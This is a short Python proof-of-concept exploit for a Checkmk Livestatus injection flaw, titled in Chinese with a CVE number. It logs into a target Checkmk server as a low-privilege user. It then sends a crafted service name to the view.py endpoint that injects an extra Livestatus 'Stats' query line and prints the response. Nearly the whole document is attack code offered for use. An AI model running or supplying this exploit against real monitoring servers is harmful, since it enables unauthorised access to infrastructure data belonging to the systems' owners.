CVE-2026-33457 Checkmk Livestatus注入漏洞

import requests # Target configuration target_url = "http://target-checkmk/check_mk/view.py?view_name=service_prediction_graph" username = "low_priv_user" password = "password" # Payload construction # Injecting Livestatus command to list all hosts or stats # The payload attempts to break the original query logic malicious_service_name = "ValidService] Stats: state = 0" params = { "service": malicious_service_name, "host": "localhost" } session = requests.Session() # 1. Login login_payload = { "_username": username, "_password": password, "_login": "1" } session.post("http://target-checkmk/check_mk/login.py", data=login_payload) # 2. Send Exploit response = session.get(target_url, params=params) if response.status_code == 200: print("[+] Exploit sent successfully.") print("[+] Response snippet:", response.text[:200]) else: print("[-] Failed to send exploit.")